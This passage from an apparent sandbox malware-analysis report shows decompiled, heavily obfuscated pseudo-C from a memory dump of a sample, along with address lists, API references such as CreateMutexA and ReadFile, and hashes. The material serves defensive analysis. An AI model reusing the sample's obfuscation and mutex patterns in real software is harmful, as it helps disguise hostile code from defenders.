											_v12 = _t206;
											__eflags = _t313;
										} while (_t313 >= 0);
									}
									_t309 = _v16 + 1;
									_t204 = _t309;
									__eflags = _t204 -  *_t262;
									if(_t204 <  *_t262) {
										_t191 = _t204 + 1; // 0x10d8122
										_t274 =  &(_t262[_t191]);
										do {
											 *_t274 = 0;
											_t194 =  &(_t274[1]); // 0x59d88b00
											_t274 = _t194;
											_t204 = _t204 + 1;
											__eflags = _t204 -  *_t262;
										} while (_t204 <  *_t262);
									}
									 *_t262 = _t309;
									__eflags = _t309;
									if(_t309 != 0) {
										while(1) {
											_t271 =  *_t262;
											__eflags = _t262[_t271];
											if(_t262[_t271] != 0) {
												goto L78;
											}
											_t272 = _t271 + 0xffffffff;
											__eflags = _t272;
											 *_t262 = _t272;
											if(_t272 != 0) {
												continue;
											}
											goto L78;
										}
									}
									L78:
									return _t331;
								} else {
									goto L23;
								}
							}
						} else {
							_t6 =  &(_t328[1]); // 0x8b00ffff
							_t295 =  *_t6;
							_v44 = _t295;
							__eflags = _t295 - 1;
							if(_t295 != 1) {
								__eflags = _t349;
								if(_t349 != 0) {
									_t342 = 0;
									_v12 = 0;
									_v8 = 0;
									_v20 = 0;
									__eflags = _t349 - 0xffffffff;
									if(_t349 != 0xffffffff) {
										_t250 = _v16 + 1;
										__eflags = _t250;
										_v32 = _t250;
										_t373 =  &(_t262[_t349 + 1]);
										do {
											_t253 = E010DDCD0( *_t373, _t342, _t295, 0);
											_v68 = _t303;
											_t373 = _t373 - 4;
											_v20 = _t262;
											_t342 = _t295;
											_t303 = 0 + _t253;
											asm("adc ecx, 0x0");
											_v12 = _t303;
											_t34 =  &_v32;
											 *_t34 = _v32 - 1;
											__eflags =  *_t34;
											_v8 = _v12;
											_t295 = _v44;
										} while ( *_t34 != 0);
										_t262 = _a4;
									}
									_v544 = 0;
									_t41 =  &(_t262[1]); // 0x4
									_t370 = _t41;
									 *_t262 = 0;
									E010DB76B(_t370, 0x1cc,  &_v540, 0);
									_t247 = _v20;
									__eflags = 0 - _t247;
									 *_t370 = _t342;
									_t262[2] = _t247;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t262 = 0xbadbae;
									return _v12;
								} else {
									_t344 =  &(_t262[1]);
									_v544 = 0;
									 *_t262 = 0;
									E010DB76B(_t344, 0x1cc,  &_v540, 0);
									_t256 = _t262[1];
									_t322 = _t256 % _v44;
									__eflags = 0 - _t322;
									 *_t344 = _t322;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t262 =  ~0x00000000;
									return _t256 / _v44;
								}
							} else {
								_v544 = _t198;
								 *_t262 = _t198;
								E010DB76B( &(_t262[1]), 0x1cc,  &_v540, _t198);
								__eflags = 0;
								return _t262[1];
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return _t197;
				}
			}

0x010d834c
0x010d834f
0x010d8353
0x010d835d
0x010d8360
0x010d8362
0x010d8364
0x010d8371
0x010d8374
0x010d8377
0x010d837a
0x010d837c
0x010d84af
0x010d84b1
0x010d84fa
0x010d84fe
0x010d8504
0x010d84b3
0x010d84b8
0x010d84ba
0x010d84bd
0x010d84bf
0x010d84c1
0x010d84f5
0x010d84f5
0x010d84f5
0x010d84c3
0x010d84c8
0x010d84ce
0x010d84ce
0x010d84d1
0x010d84d3
0x010d84d5
0x00000000
0x00000000
0x010d84d7
0x010d84d8
0x010d84db
0x010d84de
0x010d84e0
0x00000000
0x010d84e2
0x00000000
0x010d84e2
0x00000000
0x010d84e0
0x010d84e4
0x010d84eb
0x010d84ef
0x010d84f3
0x00000000
0x00000000
0x010d84f3
0x010d84f6
0x010d84f6
0x010d84f8
0x010d8505
0x010d8508
0x010d850b
0x010d850e
0x010d850e
0x010d8512
0x010d8515
0x010d8518
0x010d851b
0x010d8526
0x010d851d
0x010d8522
0x010d8522
0x010d8530
0x010d8535
0x010d8538
0x010d853a
0x010d8544
0x010d8547
0x010d854e
0x010d8551
0x010d8554
0x010d855c
0x010d8562
0x010d8562
0x010d8562
0x010d8562
0x010d8554
0x010d8567
0x010d856e
0x010d856e
0x010d8571
0x010d8574
0x010d87a6
0x010d87a6
0x010d857a
0x010d8580
0x010d8583
0x010d8589
0x010d858c
0x010d858f
0x010d8592
0x010d8592
0x010d8595
0x010d859c
0x010d859c
0x010d8597
0x010d8597
0x010d8597
0x010d859e
0x010d85a2
0x010d85a5
0x010d85a7
0x010d85aa
0x010d85b1
0x010d85b4
0x010d85b7
0x010d85c2
0x010d85c5
0x010d85ca
0x010d85cf
0x010d85d6
0x010d85db
0x010d85dd
0x010d85df
0x010d85e3
0x010d85e6
0x010d85e9
0x010d85f1
0x010d85fa
0x010d85fa
0x010d85fc
0x010d85ff
0x010d85ff
0x010d85e9
0x010d8609
0x010d860e
0x010d8613
0x010d8615
0x010d8618
0x010d861a
0x010d861d
0x010d8620
0x010d8622
0x010d8625
0x010d8628
0x010d862a
0x010d8631
0x010d8636
0x010d8639
0x010d8643
0x010d8645
0x010d8647
0x010d864a
0x010d864a
0x010d864c
0x010d864f
0x010d8652
0x010d8655
0x010d8658
0x010d862c
0x010d862c
0x010d862f
0x00000000
0x00000000
0x010d862f
0x010d865b
0x010d865d
0x010d865f
0x00000000
0x010d8661
0x010d8661
0x010d8664
0x010d8666
0x010d8666
0x010d8674
0x010d8677
0x010d867c
0x010d867e
0x00000000
0x00000000
0x010d8680
0x010d8687
0x010d8687
0x010d868a
0x010d868d
0x010d8690
0x010d8693
0x010d8693
0x010d8696
0x010d8699
0x010d869d
0x010d86a0
0x010d86a2
0x010d86a5
0x00000000
0x00000000
0x010d86a7
0x010d86a5
0x010d8682
0x010d8682
0x010d8685
0x00000000
0x00000000
0x00000000
0x00000000
0x010d8685
0x010d86ac
0x010d86ac
0x00000000
0x010d86ac
0x010d86a9
0x00000000
0x010d86a9
0x010d8664
0x010d865f
0x010d86af
0x010d86af
0x010d86b1
0x010d86bb
0x010d86bb
0x010d86be
0x010d86c0
0x010d86c2
0x010d86c4
0x010d86c9
0x010d86cc
0x010d86cc
0x010d86cf
0x010d86d2
0x010d86d5
0x010d86d7
0x010d86ec
0x010d86ee
0x010d86f0
0x010d86f2
0x010d86f4
0x010d86f6
0x010d86f8
0x010d86fa
0x010d86fd
0x010d86fd
0x010d8701
0x010d8703
0x010d8709
0x010d870c
0x010d870c
0x010d870c
0x010d8710
0x010d8710
0x010d8715
0x010d8718
0x010d8718
0x010d871d
0x010d871f
0x010d8721
0x010d8728
0x010d8728
0x010d872a
0x010d872f
0x010d8731
0x010d8734
0x010d8734
0x010d8737
0x010d8740
0x010d8740
0x010d8742
0x010d8742
0x010d8747
0x010d874d
0x010d8751
0x010d8754
0x010d8757
0x010d8759
0x010d8759
0x010d8759
0x010d875e
0x010d875e
0x010d8761
0x010d8764
0x010d8723
0x010d8723
0x010d8726
0x00000000
0x00000000
0x010d8726
0x010d8721
0x010d876b
0x010d876b
0x010d876c
0x010d86b3
0x010d86b3
0x010d86b5
0x00000000
0x00000000
0x010d86b5
0x010d877c
0x010d8781
0x010d8784
0x010d8788
0x010d8789
0x010d878c
0x010d878f
0x010d8790
0x010d8793
0x010d8796
0x010d8799
0x010d879c
0x010d879c
0x010d87a4
0x010d87ab
0x010d87ac
0x010d87ae
0x010d87b0
0x010d87b2
0x010d87b5
0x010d87c0
0x010d87c0
0x010d87c6
0x010d87c6
0x010d87c9
0x010d87ca
0x010d87ca
0x010d87c0
0x010d87ce
0x010d87d0
0x010d87d2
0x010d87d4
0x010d87d4
0x010d87d6
0x010d87da
0x00000000
0x00000000
0x010d87dc
0x010d87dc
0x010d87df
0x010d87e1
0x00000000
0x00000000
0x00000000
0x010d87e1
0x010d87d4
0x010d87e3
0x010d87ed
0x00000000
0x00000000
0x00000000
0x010d84f8
0x010d8382
0x010d8382
0x010d8382
0x010d8385
0x010d8388
0x010d838b
0x010d83bc
0x010d83be
0x010d8409
0x010d840b
0x010d8412
0x010d8419
0x010d841c
0x010d841f
0x010d8425
0x010d8425
0x010d8426
0x010d8429
0x010d8430
0x010d8439
0x010d843e
0x010d8441
0x010d8446
0x010d8449
0x010d844b
0x010d8450
0x010d8453
0x010d8456
0x010d8456
0x010d8456
0x010d845a
0x010d845d
0x010d845d
0x010d8462
0x010d8462
0x010d846d
0x010d8478
0x010d8478
0x010d847b
0x010d8487
0x010d848c
0x010d8497
0x010d8499
0x010d849b
0x010d84a1
0x010d84a6
0x010d84a8
0x010d84ae
0x010d83c0
0x010d83cc
0x010d83cf
0x010d83df
0x010d83e5
0x010d83ec
0x010d83ee
0x010d83f6
0x010d83f8
0x010d83fa
0x010d83ff
0x010d8402
0x010d8408
0x010d8408
0x010d838d
0x010d8394
0x010d839a
0x010d83a9
0x010d83b3
0x010d83bb
0x010d83bb
0x010d838b
0x010d8366
0x010d8369
0x010d836f
0x010d836f
0x010d8355
0x010d835b
0x010d835b

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81cd660e0cd64c9a35aeb3573f42dcaad1a088f0ddec36f7bbe802a1a74e3811
Instruction ID: 9e59bf2e1914e402d4f4444f0ebb1f106a441069e711824627930b6688a59c65
Opcode Fuzzy Hash: 81cd660e0cd64c9a35aeb3573f42dcaad1a088f0ddec36f7bbe802a1a74e3811
Instruction Fuzzy Hash: C1022D71E002199FDF55CFADC8806AEBBF1FF48324F1581AAD959E7385D731AA418B80

Uniqueness

Uniqueness Score: -1.00%

Function 010D3690 Relevance: 3.4, APIs: 2, Instructions: 387
synchronizationCOMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E010D3690() {
				intOrPtr _t247;
				intOrPtr _t255;
				intOrPtr _t262;
				intOrPtr _t294;
				intOrPtr _t301;
				intOrPtr _t332;
				intOrPtr _t351;
				intOrPtr _t368;
				signed int _t389;
				intOrPtr _t448;
				intOrPtr _t449;
				intOrPtr _t459;
				intOrPtr* _t498;
				void* _t500;
				void* _t509;

				_t498 = _t500 - 0x60;
				 *(_t498 + 0x58) =  *(_t498 + 0x7c) - 0xef;
				 *(_t498 + 0x50) =  *(_t498 + 0x7c) ^ 0x000000a5;
				 *(_t498 + 0x5c) =  *(_t498 + 0x7c) - 0x2687;
				 *(_t498 + 0x48) =  *(_t498 + 0x6c) ^ 0x0000253b;
				 *(_t498 + 0x4c) =  *(_t498 + 0x74) ^ 0x00000d5f;
				 *(_t498 + 0x54) =  *(_t498 + 0x7c) + 0x4d;
				 *(_t498 + 0x44) =  *(_t498 + 0x7c) + 0x5e;
				if( *(_t498 + 0x58) > ( *(_t498 + 0x5c) ^ 0x00002796)) {
					 *((intOrPtr*)(_t498 - 0x18)) =  *((intOrPtr*)(_t498 + 0x78));
					 *(_t498 - 0x14) =  *( *((intOrPtr*)(_t498 + 0x78)) + 0xbadc71) ^  *( *((intOrPtr*)(_t498 + 0x78)) + 0xbadbfd);
					 *((intOrPtr*)(_t498 - 0x10)) =  *(_t498 + 0x50) -  *((intOrPtr*)( *((intOrPtr*)(_t498 + 0x78)) + 0xbadc29));
					_t247 =  *0x116d5ec; // 0x116d5f0
					 *(_t498 - 0xc) =  *( *((intOrPtr*)(_t498 + 0x78)) + 0xf4) ^  *(_t498 + 0x5c) |  *(_t247 + 0x4c);
					 *(_t498 - 8) =  *(_t498 + 0x48) |  *(_t498 + 0x50);
					_t332 =  *0x116d5ec; // 0x116d5f0
					 *(_t498 - 4) = ( *(_t332 + 0xbadbed) |  *( *((intOrPtr*)(_t498 + 0x78)) + 0xbadc65)) ^  *(_t498 + 0x58);
					 *(_t498 + 0x5c) = E010D2800( *((intOrPtr*)(_t498 - 0x18)),  *(_t498 - 0x14),  *((intOrPtr*)(_t498 - 0x10)),  *(_t498 - 0xc),  *(_t498 - 8),  *(_t498 - 4));
					 *(_t498 - 0x24) =  *(_t498 + 0x4c) ^  *0x116d69c;
					_t255 =  *0x116d5ec; // 0x116d5f0
					 *(_t498 - 0x20) = ( *(_t498 + 0x44) ^  *(_t498 + 0x58)) -  *((intOrPtr*)(_t255 + 0xbadbdd));
					 *(_t498 - 0x1c) = ( *( *((intOrPtr*)(_t498 + 0x78)) + 0xbadc81) ^  *( *((intOrPtr*)(_t498 + 0x78)) + 0xdc)) +  *0x116d69c;
					CreateMutexA( *(_t498 - 0x24),  *(_t498 - 0x20),  *(_t498 - 0x1c));
					 *(_t498 - 0x28) =  *(_t498 + 0x50) | 0x00002506;
					GetModuleHandleA( *(_t498 - 0x28));
					 *(_t498 - 0x40) =  *(_t498 + 0x4c) &  *( *((intOrPtr*)(_t498 + 0x78)) + 0xb0) ^  *(_t498 + 0x54);
					 *((intOrPtr*)(_t498 - 0x3c)) =  *((intOrPtr*)(_t498 + 0x78));
					 *(_t498 - 0x38) =  *(_t498 + 0x50) & 0x00002506;
					_t262 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t498 - 0x34)) = ( *(_t498 + 0x58) ^  *(_t262 + 0xbadca9)) - 0x26e5;
					 *((intOrPtr*)(_t498 - 0x30)) =  *( *((intOrPtr*)(_t498 + 0x78)) + 0xdc) -  *(_t498 + 0x50);
					_t351 =  *0x116d6a4; // 0x0
					 *((intOrPtr*)(_t498 - 0x2c)) = _t351 -  *((intOrPtr*)( *((intOrPtr*)(_t498 + 0x78)) + 0xd4));
					 *(_t498 + 0x50) = E010E5EA0( *(_t498 - 0x40),  *((intOrPtr*)(_t498 - 0x3c)),  *(_t498 - 0x38),  *((intOrPtr*)(_t498 - 0x34)),  *((intOrPtr*)(_t498 - 0x30)),  *((intOrPtr*)(_t498 - 0x2c)));
					 *((intOrPtr*)( *((intOrPtr*)(_t498 + 0x78)) + 0xbadc15)) = ( *((intOrPtr*)( *((intOrPtr*)(_t498 + 0x78)) + 0xfc)) - 0x00002796 | 0x00002628) +  *((intOrPtr*)( *((intOrPtr*)(_t498 + 0x78)) + 0xbadc15));
					 *(_t498 + 0x54) = ( *(_t498 + 0x58) *  *(_t498 + 0x54) | 0x000025a0) ^  *(_t498 + 0x54);
				} else {
					 *((intOrPtr*)(_t498 + 0x28)) =  *((intOrPtr*)(_t498 + 0x78));
					 *((intOrPtr*)(_t498 + 0x2c)) =  *(_t498 + 0x58) - 0x33;
					 *(_t498 + 0x30) =  *(_t498 + 0x4c) ^ 0x00000063;
					 *((intOrPtr*)(_t498 + 0x34)) =  *(_t498 + 0x54) + 0x11;
					 *((intOrPtr*)(_t498 + 0x38)) =  *(_t498 + 0x54) + 0xc2;
					 *((intOrPtr*)(_t498 + 0x3c)) =  *(_t498 + 0x5c) + 0x2687;
					 *(_t498 + 0x5c) = E010D2800( *((intOrPtr*)(_t498 + 0x28)),  *((intOrPtr*)(_t498 + 0x2c)),  *(_t498 + 0x30),  *((intOrPtr*)(_t498 + 0x34)),  *((intOrPtr*)(_t498 + 0x38)),  *((intOrPtr*)(_t498 + 0x3c)));
					 *(_t498 + 0x4c) =  *(_t498 + 0x4c) ^ 0x000002dc;
					_t459 =  *0x116d5ec; // 0x116d5f0
					_t40 = _t459 + 0xec; // 0xe608d
					_t294 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t294 + 0x9c)) =  *_t40 -  *((intOrPtr*)( *((intOrPtr*)(_t498 + 0x78)) + 0xa4)) + 0x658d1;
					 *((intOrPtr*)(_t498 + 0x14)) =  *(_t498 + 0x48) + 0x2598;
					 *(_t498 + 0x18) =  *(_t498 + 0x5c) ^ 0x00000edf;
					 *((intOrPtr*)(_t498 + 0x1c)) =  *((intOrPtr*)(_t498 + 0x78));
					 *((intOrPtr*)(_t498 + 0x20)) =  *(_t498 + 0x58) - 0xd1;
					 *(_t498 + 0x24) =  *(_t498 + 0x4c) ^ 0x00000282;
					_push( *(_t498 + 0x24));
					_push( *((intOrPtr*)(_t498 + 0x20)));
					_push( *((intOrPtr*)(_t498 + 0x1c)));
					_push( *(_t498 + 0x18));
					_push( *((intOrPtr*)(_t498 + 0x14)));
					 *(_t498 + 0x5c) = E010D1000();
					 *(_t498 + 0x54) =  *(_t498 + 0x54) - 0x199;
					 *_t498 =  *(_t498 + 0x58) - 0x92;
					 *((intOrPtr*)(_t498 + 4)) =  *(_t498 + 0x48) + 0x2628;
					 *(_t498 + 8) =  *(_t498 + 0x54) ^ 0x00000313;
					_t301 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t498 + 0xc)) = _t301;
					 *((intOrPtr*)(_t498 + 0x10)) =  *(_t498 + 0x50) - 0x8a;
					 *(_t498 + 0x5c) = E010D2590( *_t498,  *((intOrPtr*)(_t498 + 4)),  *(_t498 + 8),  *((intOrPtr*)(_t498 + 0xc)),  *((intOrPtr*)(_t498 + 0x10)));
					_t389 =  *0x116d618; // 0x38fa
					 *(_t498 + 0x40) = _t389;
					while(1) {
						_t509 =  *(_t498 + 0x40) -  *0x116d61c; // 0x4351e17c
						if(_t509 > 0) {
							break;
						}
						 *0x116d690 =  *(_t498 + 0x40) *  *(_t498 + 0x40) +  *0x116d690;
						 *0x0116D664 = ( *((intOrPtr*)( *((intOrPtr*)(_t498 + 0x78)) + 0xac)) - 0x1a0e73) *  *0x0116D664;
						 *0x0116D6EC =  *((intOrPtr*)( *((intOrPtr*)(_t498 + 0x78)) + 0xfc)) - 0x00000001 |  *0x0116D6EC;
						 *( *((intOrPtr*)(_t498 + 0x78)) + 0x7c) =  *( *((intOrPtr*)(_t498 + 0x78)) + 0xf4) + 0x2cda98ba |  *( *((intOrPtr*)(_t498 + 0x78)) + 0x7c);
						 *((intOrPtr*)( *((intOrPtr*)(_t498 + 0x78)) + 0xfc)) =  *((intOrPtr*)( *((intOrPtr*)(_t498 + 0x78)) + 0xfc)) +  *( *((intOrPtr*)(_t498 + 0x78)) + 0xb0);
						 *(_t498 + 0x40) =  *(_t498 + 0x40) + 1;
					}
					 *(_t498 + 0x50) =  *(_t498 + 0x50) - 0xe7;
					 *(_t498 + 0x58) =  *(_t498 + 0x58) + 0x9b;
					 *(_t498 + 0x5c) =  *(_t498 + 0x5c) - 0x65;
					 *(_t498 + 0x4c) =  *(_t498 + 0x4c) ^ 0x000002dc;
				}
				if( *(_t498 + 0x4c) <  *(_t498 + 0x44) + 0x155 &&  *(_t498 + 0x48) <=  *(_t498 + 0x58) + 0xa1) {
					 *(_t498 + 0x44) =  *(_t498 + 0x44) ^ 0x000003de;
					 *(_t498 + 0x48) =  *(_t498 + 0x48) + 0x26e5;
					 *(_t498 + 0x54) =  *(_t498 + 0x54) + 0xe7;
					_t448 =  *0x116d5ec; // 0x116d5f0
					_t368 =  *0x116d5ec; // 0x116d5f0
					_t223 = _t368 + 0xa0; // 0xab88ba4e
					_t449 =  *0x116d5ec; // 0x116d5f0
					 *(_t449 + 0xa0) = ( *(_t448 + 0xbadc71) ^ 0x00000007) *  *_t223;
					 *(_t498 + 0x48) =  *(_t498 + 0x48) ^ 0x00000edf;
					 *(_t498 + 0x44) =  *(_t498 + 0x44) - 0x74;
					 *(_t498 + 0x5c) =  *(_t498 + 0x5c) ^ 0x0000003d;
				}
				return  *(_t498 + 0x5c) ^ 0x00000324;
			}

0x010d3691
0x010d36a4
0x010d36b0
0x010d36bc
0x010d36c7
0x010d36d3
0x010d36dc
0x010d36e5
0x010d36f4
0x010d396e
0x010d3992
0x010d39a7
0x010d39be
0x010d39c7
0x010d39d0
0x010d39e3
0x010d39fa
0x010d3a1d
0x010d3a29
0x010d3a3a
0x010d3a43
0x010d3a67
0x010d3a76
0x010d3a85
0x010d3a8c
0x010d3aa1
0x010d3aa7
0x010d3ab3
0x010d3abe
0x010d3ad3
0x010d3ae2
0x010d3af0
0x010d3afd
0x010d3b20
0x010d3b59
0x010d3b6d
0x010d36fa
0x010d36fd
0x010d3706
0x010d370f
0x010d3718
0x010d3723
0x010d372f
0x010d3752
0x010d375e
0x010d3769
0x010d3772
0x010d3785
0x010d378a
0x010d3799
0x010d37a5
0x010d37ab
0x010d37b7
0x010d37c3
0x010d37c9
0x010d37cd
0x010d37d1
0x010d37d5
0x010d37d9
0x010d37e2
0x010d37ee
0x010d37f9
0x010d3805
0x010d3811
0x010d3814
0x010d3819
0x010d3825
0x010d3844
0x010d3847
0x010d384d
0x010d385b
0x010d385e
0x010d3864
0x00000000
0x00000000
0x010d3877
0x010d38a3
0x010d38d4
0x010d3903
0x010d392d
0x010d3858
0x010d3858
0x010d3942
0x010d394e
0x010d3957
0x010d3963
0x010d3963
0x010d3b7c
0x010d3b98
0x010d3ba4
0x010d3baf
0x010d3bb9
0x010d3bc9
0x010d3bcf
0x010d3bd6
0x010d3bdc
0x010d3bf1
0x010d3bfa
0x010d3c03
0x010d3c03
0x010d3c15

APIs

CreateMutexA.KERNEL32(?,?,?), ref: 010D3A76
GetModuleHandleA.KERNEL32(?), ref: 010D3A8C

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: CreateHandleModuleMutex
String ID:
API String ID: 3857879770-0
Opcode ID: 53b888a9d68978d16d3fbaf0f8b841baa3a18f05579e8515dc52353e0bc1daec
Instruction ID: a82b14204c7ba180ae23dd3fab077f08157362799749be8fc28485f883af5fe2
Opcode Fuzzy Hash: 53b888a9d68978d16d3fbaf0f8b841baa3a18f05579e8515dc52353e0bc1daec
Instruction Fuzzy Hash: 6202B5B1600149CFEB18CFA9D590A9E7BF6FF88304F508229EA199B795D735E841CF84

Uniqueness

Uniqueness Score: -1.00%

Function 010E55C0 Relevance: 2.0, APIs: 1, Instructions: 542
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E010E55C0(intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int _a20, intOrPtr _a24, signed int _a28) {
				signed int _v8;
				unsigned int _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				struct _OVERLAPPED* _v88;
				DWORD* _v92;
				long _v96;
				void* _v100;
				void* _v104;
				intOrPtr _t353;
				signed int _t355;
				signed int _t378;
				intOrPtr _t387;
				intOrPtr _t391;
				intOrPtr _t392;
				intOrPtr _t394;
				signed int _t395;
				intOrPtr _t396;
				intOrPtr _t407;
				signed int _t412;
				signed int _t413;
				intOrPtr _t429;
				intOrPtr _t441;
				intOrPtr _t443;
				signed int _t457;
				intOrPtr _t469;
				intOrPtr _t478;
				intOrPtr _t479;
				intOrPtr _t482;
				intOrPtr _t504;
				intOrPtr _t508;
				intOrPtr _t509;
				signed int _t528;
				intOrPtr _t531;
				intOrPtr _t532;
				intOrPtr _t537;
				intOrPtr _t544;
				intOrPtr _t558;
				intOrPtr _t561;
				intOrPtr _t574;
				intOrPtr _t581;
				intOrPtr _t584;
				intOrPtr _t596;
				intOrPtr _t604;
				intOrPtr _t606;
				intOrPtr _t609;
				intOrPtr _t611;
				intOrPtr _t614;
				intOrPtr _t622;
				intOrPtr _t638;
				signed int _t640;
				intOrPtr _t642;
				intOrPtr _t646;
				intOrPtr _t647;
				intOrPtr _t655;
				intOrPtr _t683;
				intOrPtr _t693;
				intOrPtr _t695;
				intOrPtr _t707;
				intOrPtr _t716;
				intOrPtr _t719;
				intOrPtr _t721;
				intOrPtr _t739;
				intOrPtr _t740;
				intOrPtr _t757;
				intOrPtr _t764;
				intOrPtr _t769;
				intOrPtr _t770;
				intOrPtr _t772;
				intOrPtr _t774;

				_v8 = _a16 - 0x122;
				_v32 = _a8 + 0xbd;
				_v44 = _a20 ^ 0x000003bc;
				_v40 = _a28 ^ 0x00000142;
				_v52 = _a8 ^ 0x00002628;
				_v20 = _a12 ^ 0x00000221;
				_v48 = _a20;
				_v56 = _a24 - 0xc3;
				if(_v40 == _v32 + 0x11c) {
					_v36 = _v8;
					while(1) {
						_t353 = _a4;
						_t504 = _a4;
						__eflags = _v36 - ( *(_t353 + 0x3c) &  *(_t504 + 0xb4) ^ 0x000024c7);
						if(_v36 <= ( *(_t353 + 0x3c) &  *(_t504 + 0xb4) ^ 0x000024c7)) {
							goto L25;
						}
						_t638 =  *0x116d5ec; // 0x116d5f0
						__eflags =  *((intOrPtr*)(_t638 + 0xbadca9)) - _v20 + 0x253b;
						if( *((intOrPtr*)(_t638 + 0xbadca9)) == _v20 + 0x253b) {
							_v8 = (_v8 - _v20 - 0x2628) * _v8;
							_t508 =  *0x116d5ec; // 0x116d5f0
							_t289 = _t508 + 0xac; // 0x1a0e74
							_t642 =  *0x116d5ec; // 0x116d5f0
							_t290 = _t642 + 0xac; // 0x1a0e74
							_t509 =  *0x116d5ec; // 0x116d5f0
							 *(_t509 + 0xac) = ( *0x0116D6A8 | 0x00002801) +  *_t289 |  *_t290;
							_v56 = _v20 * _v20 * _v44;
							_t646 =  *0x116d5ec; // 0x116d5f0
							_t647 =  *0x116d5ec; // 0x116d5f0
							 *(_t647 + 0xbadbdd) = (_v40 | 0x00002633) *  *(_t646 + 0xbadbdd);
							 *(_a4 + 0x14) =  *(_a4 + 0x14) -  *((intOrPtr*)(_a4 + 0xbadc51)) -  *((intOrPtr*)(_a4 + 0xec));
							_v104 =  *(_a4 + 0x68) * _v44 +  *((intOrPtr*)(_a4 + 0xdc));
							_t655 =  *0x116d5ec; // 0x116d5f0
							_t378 =  *0x116d68c; // 0x14b95e
							_t319 = _t655 + 0xe4; // 0xc
							_v100 = (_t378 ^  *_t319) *  *(_a4 + 0xb4);
							_v96 = _v40 &  *(_a4 + 0xbadc29);
							_v92 =  *(_a4 + 0xbadbdd) |  *0x116d69c;
							_v88 = _v44 &  *(_a4 + 0xe0);
							ReadFile(_v104, _v100, _v96, _v92, _v88);
							_t387 =  *0x116d5ec; // 0x116d5f0
							_t342 = _t387 + 0x78; // 0x79aca
							_t528 = (_v52 -  *_t342 | 0x00002598) ^  *(_a4 + 0xac);
							__eflags = _t528;
							 *(_a4 + 0xac) = _t528;
						}
						_t640 = _v36 + 1;
						__eflags = _t640;
						_v36 = _t640;
					}
				} else {
					_t391 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t391 + 0xf0)) = ( *(_a4 + 0x38) ^  *0x01D1B1CD) + 0x273c;
					_t392 =  *0x116d5ec; // 0x116d5f0
					_t531 =  *0x116d5ec; // 0x116d5f0
					_t23 = _t392 + 0xec; // 0xe608d
					if( *_t23 !=  *((intOrPtr*)(_t531 + 0x14))) {
						_t394 =  *0x116d6dc; // 0xe608d
						_t395 = _t394 - 0x442f5;
						__eflags = _t395;
						_t532 =  *0x116d5ec; // 0x116d5f0
						 *(_t532 + 0x58) = _t395;
					} else {
						_t774 =  *0x116d5ec; // 0x116d5f0
						 *(_a4 + 0x74) =  *(_a4 + 0xb4) -  *((intOrPtr*)(_a4 + 0xfc)) -  *((intOrPtr*)(_t774 + 0xbadbfd)) |  *(_a4 + 0x74);
					}
					_t396 =  *0x116d5ec; // 0x116d5f0
					_t42 = _t396 + 0xb4; // 0x0
					if( *((intOrPtr*)(_a4 + 0xb0)) ==  *_t42) {
						_t764 =  *0x116d5ec; // 0x116d5f0
						_t43 = _t764 + 0x58; // 0xc4ec4ec5
						_t622 =  *0x116d5ec; // 0x116d5f0
						 *(_t622 + 0x58) =  *_t43 ^ 0x1a154549;
					}
					 *0x116d678 = 0x10f30b0;
					_v24 = 0;
					while(_v24 < 0xb09c) {
						 *((intOrPtr*)(_a4 + 0x9c)) =  *((intOrPtr*)(_a4 + 0x9c)) -  *((intOrPtr*)(_a4 + 0xa4));
						_t596 =  *0x116d5ec; // 0x116d5f0
						_t61 = _t596 + 0xe4; // 0xc
						_t739 =  *0x116d5ec; // 0x116d5f0
						 *((intOrPtr*)(_t739 + 0xe4)) = ( *((intOrPtr*)(_a4 + 0xdc)) +  *(_a4 + 0xbadbdd) ^ 0x00000009) +  *_t61;
						_t740 =  *0x116d5ec; // 0x116d5f0
						_t63 = _t740 + 0x3c; // 0x161485
						 *((intOrPtr*)(_a4 + 0xa4)) =  *((intOrPtr*)(_a4 + 0xa4)) -  *_t63 - 0x161485;
						_t469 =  *0x116d5ec; // 0x116d5f0
						_t70 = _t469 + 0x88; // 0x10ec430
						_v16 =  *((intOrPtr*)( *_t70 + _v24 * 4));
